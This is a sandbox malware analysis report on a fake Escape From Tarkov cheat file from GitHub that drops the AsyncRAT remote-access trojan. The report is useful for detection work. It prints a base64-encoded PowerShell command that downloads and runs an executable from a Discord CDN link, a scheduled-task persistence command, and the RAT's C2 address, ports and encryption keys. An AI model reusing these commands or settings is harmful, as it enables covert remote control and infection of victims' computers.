Malware analysis https://github.com/gmh5225/EFT-Escape-From-Tarkov-External-Esp-Aimbot-eft-Hack-Cheat-Injector-Spoofer/blob/main/Escape%20From%20Tarkov%20External%20Esp%20Aimbot%20eft%20Hack%20Cheat%20Injector%20Spoofer/Escape%20From%20Tarkov%20Full%E2%80%AEnls..scr Malicious activity

Add for printing

URL:	https://github.com/gmh5225/EFT-Escape-From-Tarkov-External-Esp-Aimbot-eft-Hack-Cheat-Injector-Spoofer/blob/main/Escape%20From%20Tarkov%20External%20Esp%20Aimbot%20eft%20Hack%20Cheat%20Injector%20Spoofer/Escape%20From%20Tarkov%20Full%E2%80%AEnls..scr
Full analysis:	https://app.any.run/tasks/0710a0da-d819-4310-bf41-a5ad4509dc6b
Verdict:	Malicious activity
Threats:	AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions. Malware Trends Tracker >>>
Analysis date:	August 09, 2024, 10:07:18
OS:	Windows 10 Professional (build: 19045, 64 bit)
Tags:	github discord asyncrat
Indicators:
MD5:	7AFD7D6C86E25849434B2C516DF83405
SHA1:	314EF8028CF2123D2E5263DDF1F194FB09032B15
SHA256:	1CC6AB4C535BE97E7F59B94C1815E8670C4F4C4B00CD47E035BFCD78EA30DB29
SSDEEP:	6:2ukwQXXIF5QB7JjsTh+KMFgWLgC4XDIvcAPRDLL+KMFsLa:2ukwQK5QBF0c9FM5APRi9FCa

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 300 seconds
Heavy Evasion option:
Network geolocation:: off
Additional time used:: 240 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (122.0.6261.70)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (122.0.2365.59)
Microsoft Edge Update (1.3.185.17)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (123.0)
Mozilla Maintenance Service (123.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Skype version 8.104 (8.104)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

Add for printing

MALICIOUS
- Uses Task Scheduler to run other applications
  - cmd.exe (PID: 4308)
- ASYNCRAT has been detected (YARA)
  - RegAsm.exe (PID: 5500)
SUSPICIOUS
- Drops the executable file immediately after the start
  - Escape From Tarkov Full_nls..scr (PID: 7464)
  - 111111111111111111111111_PROTECTED.EXE (PID: 7484)
- Executable content was dropped or overwritten
  - Escape From Tarkov Full_nls..scr (PID: 7464)
  - 111111111111111111111111_PROTECTED.EXE (PID: 7484)
- Reads the date of Windows installation
  - Escape From Tarkov Full_nls..scr (PID: 7464)
  - 31.EXE (PID: 1680)
- Reads security settings of Internet Explorer
  - Escape From Tarkov Full_nls..scr (PID: 7464)
  - 31.EXE (PID: 1680)
- Process drops legitimate windows executable
  - Escape From Tarkov Full_nls..scr (PID: 7464)
- BASE64 encoded PowerShell command has been detected
  - 31.EXE (PID: 1680)
- Base64-obfuscated command line is found
  - 31.EXE (PID: 1680)
- Starts POWERSHELL.EXE for commands execution
  - 111111111111111111111111_PROTECTED.EXE (PID: 7484)
  - 31.EXE (PID: 1680)
- Starts CMD.EXE for commands execution
  - 111111111111111111111111_PROTECTED.EXE (PID: 7484)
- Connects to unusual port
  - RegAsm.exe (PID: 5500)
INFO
- Application launched itself
  - firefox.exe (PID: 6412)
  - firefox.exe (PID: 6344)
- Creates files or folders in the user directory
  - Escape From Tarkov Full_nls..scr (PID: 7464)
  - 111111111111111111111111_PROTECTED.EXE (PID: 7484)
- Manual execution by a user
  - Escape From Tarkov Full_nls..scr (PID: 7464)
- Checks supported languages
  - Escape From Tarkov Full_nls..scr (PID: 7464)
  - 111111111111111111111111_PROTECTED.EXE (PID: 7484)
  - 31.EXE (PID: 1680)
  - RegAsm.exe (PID: 5500)
- The process uses the downloaded file
  - firefox.exe (PID: 6412)
- Executable content was dropped or overwritten
  - firefox.exe (PID: 6412)
- Reads the computer name
  - Escape From Tarkov Full_nls..scr (PID: 7464)
  - 111111111111111111111111_PROTECTED.EXE (PID: 7484)
  - 31.EXE (PID: 1680)
  - RegAsm.exe (PID: 5500)
- Process checks computer location settings
  - Escape From Tarkov Full_nls..scr (PID: 7464)
  - 31.EXE (PID: 1680)
- Reads the machine GUID from the registry
  - 111111111111111111111111_PROTECTED.EXE (PID: 7484)
  - RegAsm.exe (PID: 5500)
- Disables trace logs
  - powershell.exe (PID: 2852)
- Checks proxy server information
  - powershell.exe (PID: 2852)
- Attempting to use instant messaging service
  - powershell.exe (PID: 2852)
- Script raised an exception (POWERSHELL)
  - powershell.exe (PID: 2852)
  - powershell.exe (PID: 7524)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

AsyncRat

(PID) Process(5500) RegAsm.exe

C2 (1)217.64.31.3

Ports (2)8808

8437

Version0.5.7B

BotnetWindows Session Manager

Options

AutoRunfalse

MutexWindows Session Manager

InstallFolder%AppData%

BSoDfalse

AntiVMfalse

Certificates

Cert1MIIE4jCCAsqgAwIBAgIQAJmupDKFEn4QYTi6VNAu5zANBgkqhkiG9w0BAQ0FADASMRAwDgYDVQQDDAd3YXJyaW9yMCAXDTIyMDEzMDE3MzkzNFoYDzk5OTkxMjMxMjM1OTU5WjASMRAwDgYDVQQDDAd3YXJyaW9yMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA1p1heFXbFVfmtOd5Qw+jVCq6buTiUXzCHJ9ogNwGpJyyNyN70miKC4VIi30fCZ1IXcc8rAM4ODRzPV6HEPOKw29lKaG6kXtr...

Server_SignatureC79KvAXqeWNypPjSnsZWSXqvPH8g8lK8T3NJEMNEtmPa9vyqYMEPuTK4ruE1X78a31N52HJRyci/di8uAIUIzjKA2O+IDXtADiKhcOMQ774osQokab44CwyuP6B9b1dwDPJtqM9QTWZ845u9x8KwIt2lEp/qJivLP62rwCy+Er7Ii9VJyRxynu3T2CO9nBmRpDk1MnOajwGmWuoXOWP6tz21sp1d/RCrAkM9A+iVAnvyS3DrNM6jxvX8GEyi7alq9aMNUajm8VifQL82ZjapIyvETNyHsQHNFGmbksM/eY2W...

Keys

AES3d743405c5b7f48e626e812c0257eaef5c78eda6d768679cf0126960a60a9032

Saltbfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941

No Malware configuration.

Add for printing

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

159

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

400

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6004 -childID 5 -isForBrowser -prefsHandle 6012 -prefMapHandle 6016 -prefsLen 31161 -prefMapSize 244343 -jsInitHandle 1120 -jsInitLen 235124 -parentBuildID 20240213221259 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d175aea5-dc0b-4aea-a207-a827f4caddce} 6412 "\\.\pipe\gecko-crash-server-pipe.6412" 19bf3243a10 tab

C:\Program Files\Mozilla Firefox\firefox.exe

—

firefox.exe

User:

admin

Company:

Mozilla Corporation

Integrity Level:

LOW

Description:

Firefox

Version:

123.0

1536

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5508 -childID 3 -isForBrowser -prefsHandle 5544 -prefMapHandle 5540 -prefsLen 34789 -prefMapSize 244343 -jsInitHandle 1120 -jsInitLen 235124 -parentBuildID 20240213221259 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cee04744-d188-4c1d-b91b-99f4cf80b9ff} 6412 "\\.\pipe\gecko-crash-server-pipe.6412" 19bf38bc150 tab

C:\Program Files\Mozilla Firefox\firefox.exe

—

firefox.exe

User:

admin

Company:

Mozilla Corporation

Integrity Level:

LOW

Description:

Firefox

Version:

123.0

1680

"C:\Users\admin\AppData\Roaming\31.EXE"

C:\Users\admin\AppData\Roaming\31.EXE

—

Escape From Tarkov Full_nls..scr

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Media Foundation Protected Pipeline EXE

Exit code:

Version:

10,0,19041,1 (WinBuild

Modules

Images
c:\users\admin\appdata\roaming\31.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll

2128

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6192 -childID 6 -isForBrowser -prefsHandle 6200 -prefMapHandle 6204 -prefsLen 31161 -prefMapSize 244343 -jsInitHandle 1120 -jsInitLen 235124 -parentBuildID 20240213221259 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d2c36b79-a262-415a-b7db-49a5aefd62d7} 6412 "\\.\pipe\gecko-crash-server-pipe.6412" 19bf38bcbd0 tab

C:\Program Files\Mozilla Firefox\firefox.exe

—

firefox.exe

User:

admin

Company:

Mozilla Corporation

Integrity Level:

LOW

Description:

Firefox

Version:

123.0

2336

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Console Window Host

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

2852

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AOQAzADAAMQAxADAANwA5ADYAMQAwADcANwA1ADUANQAzADAALwA5ADcANgAxADYAOQAwADYAMgA3ADAANQAwADAAOAA2ADQAMAAvADIAMwAyAC4AZQB4AGUAJwAsACAAPAAjAG0AaABoACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAbgBwAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAawBuAHEAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBlAGMAdQByAHQAeQBIAGUAYQBsAHQAaABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwApACkAPAAjAHEAZQB6ACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGcAZQB1ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBhAGYAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAGUAYwB1AHIAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAGUALgBlAHgAZQAnACkAPAAjAHUAZAB4ACMAPgA="

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

31.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll

3568

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5708 -childID 4 -isForBrowser -prefsHandle 5920 -prefMapHandle 5916 -prefsLen 31161 -prefMapSize 244343 -jsInitHandle 1120 -jsInitLen 235124 -parentBuildID 20240213221259 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5907baed-d2c6-4a88-bc52-45e8631ead59} 6412 "\\.\pipe\gecko-crash-server-pipe.6412" 19bf271af50 tab

C:\Program Files\Mozilla Firefox\firefox.exe

—

firefox.exe

User:

admin

Company:

Mozilla Corporation

Integrity Level:

LOW

Description:

Firefox

Version:

123.0

4308

"cmd" /C schtasks /create /tn \Windows Session Manager /tr "C:\Users\admin\AppData\Roaming\Windows Session Manager\Windows Session Manager.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /f

C:\Windows\SysWOW64\cmd.exe

—

111111111111111111111111_PROTECTED.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

2147500037

Version:

10.0.19041.3636 (WinBuild.160101.0800)

Modules

Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll

5500

#cmd

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

111111111111111111111111_PROTECTED.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft .NET Assembly Registration Utility

Version:

4.8.9037.0 built by: NET481REL1

Modules

Images
c:\windows\microsoft.net\framework\v4.0.30319\regasm.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll

AsyncRat

(PID) Process(5500) RegAsm.exe

C2 (1)217.64.31.3

Ports (2)8808

8437

Version0.5.7B

BotnetWindows Session Manager

Options

AutoRunfalse

MutexWindows Session Manager

InstallFolder%AppData%

BSoDfalse

AntiVMfalse

Certificates

Keys

AES3d743405c5b7f48e626e812c0257eaef5c78eda6d768679cf0126960a60a9032

Saltbfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941

5984

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Console Window Host

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

Add for printing

Total events

25 737

Read events

25 657

Write events

Delete events

Modification events


(PID) Process:	(6344) firefox.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Mozilla\Firefox\Launcher
Operation:	write	Name:	C:\Program Files\Mozilla Firefox\firefox.exe\|Launcher
Value: 26D647C800000000
(PID) Process:	(6412) firefox.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Mozilla\Firefox\Launcher
Operation:	write	Name:	C:\Program Files\Mozilla Firefox\firefox.exe\|Browser
Value: 507A49C800000000
(PID) Process:	(6412) firefox.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Mozilla\Firefox\PreXULSkeletonUISettings
Operation:	write	Name:	C:\Program Files\Mozilla Firefox\firefox.exe\|Progress
Value: 0
(PID) Process:	(6412) firefox.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Mozilla\Firefox\PreXULSkeletonUISettings
Operation:	write	Name:	C:\Program Files\Mozilla Firefox\firefox.exe\|Progress
Value: 1
(PID) Process:	(6412) firefox.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Mozilla\Firefox\Installer\308046B0AF4A39CB
Operation:	delete value	Name:	installer.taskbarpin.win10.enabled
Value:
(PID) Process:	(6412) firefox.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Mozilla\Firefox\Launcher
Operation:	write	Name:	C:\Program Files\Mozilla Firefox\firefox.exe\|Telemetry
Value: 0
(PID) Process:	(6412) firefox.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Mozilla\Firefox\DllPrefetchExperiment
Operation:	write	Name:	C:\Program Files\Mozilla Firefox\firefox.exe
Value: 0
(PID) Process:	(6412) firefox.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Mozilla\Firefox\PreXULSkeletonUISettings
Operation:	write	Name:	C:\Program Files\Mozilla Firefox\firefox.exe\|Theme
Value: 1
(PID) Process:	(6412) firefox.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Mozilla\Firefox\PreXULSkeletonUISettings
Operation:	write	Name:	C:\Program Files\Mozilla Firefox\firefox.exe\|Enabled
Value: 1
(PID) Process:	(6412) firefox.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Mozilla\Firefox\Default Browser Agent
Operation:	write	Name:	C:\Program Files\Mozilla Firefox\|DisableTelemetry
Value: 1

Add for printing

Executable files

Suspicious files

179

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
6412	firefox.exe	C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\9kie7cg6.default-release\cookies.sqlite-shm		binary
		MD5:B7C14EC6110FA820CA6B65F5AEC85911	SHA256:FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
6412	firefox.exe	C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\9kie7cg6.default-release\SiteSecurityServiceState.bin		binary
		MD5:F4095A868015812AAE015E75C505FB8D	SHA256:D99D0419AB1DFE114F7B45C8D577DCE8050A2F78B31F0C08A3EB34D71A2FE6B4
6412	firefox.exe	C:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\9kie7cg6.default-release\activity-stream.discovery_stream.json.tmp		binary
		MD5:C641D08E627AED4E60FFE81EFCEAA3AD	SHA256:536A21860C039823F0FD9A6EFA2E80C7675FDEFF362638B8464940173A9568AC
6412	firefox.exe	C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\9kie7cg6.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite		—
		MD5:—	SHA256:—
6412	firefox.exe	C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\9kie7cg6.default-release\prefs-1.js		text
		MD5:1AE06387ECE8AF1E1A631723CFB53E52	SHA256:706D95EDEC6E36C5A7B6AD84FD9EE6D9B8D99FE4847A114AA07B1E1A9BE36FBA
6412	firefox.exe	C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\9kie7cg6.default-release\prefs.js		text
		MD5:1AE06387ECE8AF1E1A631723CFB53E52	SHA256:706D95EDEC6E36C5A7B6AD84FD9EE6D9B8D99FE4847A114AA07B1E1A9BE36FBA
6412	firefox.exe	C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\9kie7cg6.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm		binary
		MD5:B7C14EC6110FA820CA6B65F5AEC85911	SHA256:FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
6412	firefox.exe	C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\9kie7cg6.default-release\datareporting\glean\db\data.safe.tmp		dbf
		MD5:F759EB25271E6A6F0A3500520813E5FE	SHA256:015E515D432DD64FDC9502ABE9C723EEF544E7AF11C36BDFE8B38412597CA1EC
6412	firefox.exe	C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\9kie7cg6.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm		binary
		MD5:B7C14EC6110FA820CA6B65F5AEC85911	SHA256:FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
6412	firefox.exe	C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\9kie7cg6.default-release\cert9.db-journal		binary
		MD5:2E4D80B2AF91259AB55E2B1F504ED23E	SHA256:14B2AB48CD15621279180A0AA47BB9F3518020BD57B8AD4A0D3E3651036E4F3A

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

TCP/UDP connections

111

DNS requests

137

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	200	34.107.221.82:80	http://detectportal.firefox.com/success.txt?ipv4	unknown	—	—	whitelisted
—	—	GET	200	34.107.221.82:80	http://detectportal.firefox.com/canonical.html	unknown	—	—	whitelisted
—	—	POST	200	2.16.202.113:80	http://r10.o.lencr.org/	unknown	—	—	unknown
—	—	POST	200	2.16.202.113:80	http://r10.o.lencr.org/	unknown	—	—	unknown
—	—	POST	200	2.16.202.113:80	http://r10.o.lencr.org/	unknown	—	—	unknown
—	—	POST	200	95.101.54.216:80	http://r11.o.lencr.org/	unknown	—	—	unknown
—	—	POST	200	104.18.38.233:80	http://ocsp.sectigo.com/	unknown	—	—	unknown
—	—	POST	200	2.16.202.113:80	http://r10.o.lencr.org/	unknown	—	—	unknown
—	—	POST	—	216.58.212.163:80	http://o.pki.goog/wr2	unknown	—	—	unknown
—	—	POST	200	216.58.212.163:80	http://o.pki.goog/wr2	unknown	—	—	unknown

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
4	System	192.168.100.255:138	—	—	—	whitelisted
3888	svchost.exe	239.255.255.250:1900	—	—	—	whitelisted
1076	RUXIMICS.exe	4.231.128.59:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
2120	MoUsoCoreWorker.exe	4.231.128.59:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
3476	svchost.exe	4.231.128.59:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
—	—	140.82.121.3:443	github.com	GITHUB	US	unknown
—	—	34.107.221.82:80	detectportal.firefox.com	GOOGLE	US	whitelisted
—	—	34.117.188.166:443	contile.services.mozilla.com	GOOGLE-CLOUD-PLATFORM	US	unknown
—	—	34.160.144.191:443	content-signature-2.cdn.mozilla.net	GOOGLE	US	unknown
—	—	142.250.186.42:443	safebrowsing.googleapis.com	—	—	whitelisted

DNS requests

Domain	IP	Reputation
google.com	216.58.206.46	whitelisted
github.com	140.82.121.3	shared
detectportal.firefox.com	34.107.221.82	whitelisted
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82 2600:1901:0:38d7::	whitelisted
contile.services.mozilla.com	34.117.188.166	whitelisted
spocs.getpocket.com	34.117.188.166	whitelisted
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	unknown
example.org	93.184.215.14	whitelisted
ipv4only.arpa	192.0.0.171 192.0.0.170	whitelisted
content-signature-2.cdn.mozilla.net	34.160.144.191	whitelisted

Threats

PID	Process	Class	Message
2256	svchost.exe	Not Suspicious Traffic	INFO [ANY.RUN] Attempting to access raw user content on GitHub
2256	svchost.exe	Not Suspicious Traffic	INFO [ANY.RUN] Attempting to access raw user content on GitHub
2256	svchost.exe	Not Suspicious Traffic	INFO [ANY.RUN] Attempting to access raw user content on GitHub
2256	svchost.exe	Misc activity	ET INFO Observed Discord Domain in DNS Lookup (discordapp .com)
2852	powershell.exe	Misc activity	ET INFO Observed Discord Domain (discordapp .com in TLS SNI)

Add for printing

Process	Message
Escape From Tarkov Full_nls..scr	C:\Users\admin\AppData\Roaming\111111111111111111111111_PROTECTED.EXE
Escape From Tarkov Full_nls..scr	C:\Users\admin\AppData\Roaming\31.EXE

General Info

https://github.com/gmh5225/EFT-Escape-From-Tarkov-External-Esp-Aimbot-eft-Hack-Cheat-Injector-Spoofer/blob/main/Escape%20From%20Tarkov%20External%20Esp%20Aimbot%20eft%20Hack%20Cheat%20Injector%20Spoofer/Escape%20From%20Tarkov%20Full%E2%80%AEnls..scr

7AFD7D6C86E25849434B2C516DF83405

314EF8028CF2123D2E5263DDF1F194FB09032B15

1CC6AB4C535BE97E7F59B94C1815E8670C4F4C4B00CD47E035BFCD78EA30DB29

6:2ukwQXXIF5QB7JjsTh+KMFgWLgC4XDIvcAPRDLL+KMFsLa:2ukwQK5QBF0c9FM5APRi9FCa

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Uses Task Scheduler to run other applications

ASYNCRAT has been detected (YARA)

SUSPICIOUS

Drops the executable file immediately after the start

Executable content was dropped or overwritten

Reads the date of Windows installation

Reads security settings of Internet Explorer

Process drops legitimate windows executable

BASE64 encoded PowerShell command has been detected

Base64-obfuscated command line is found

Starts POWERSHELL.EXE for commands execution

Starts CMD.EXE for commands execution

Connects to unusual port

INFO

Application launched itself

Creates files or folders in the user directory

Manual execution by a user

Checks supported languages

The process uses the downloaded file

Executable content was dropped or overwritten

Reads the computer name

Process checks computer location settings

Reads the machine GUID from the registry

Disables trace logs

Checks proxy server information

Attempting to use instant messaging service

Script raised an exception (POWERSHELL)

Malware configuration

AsyncRat

Static information

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Modules

Information

Information

Modules

Information

Modules

Information

Information

Modules

Information

Modules

Malware configuration

AsyncRat

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings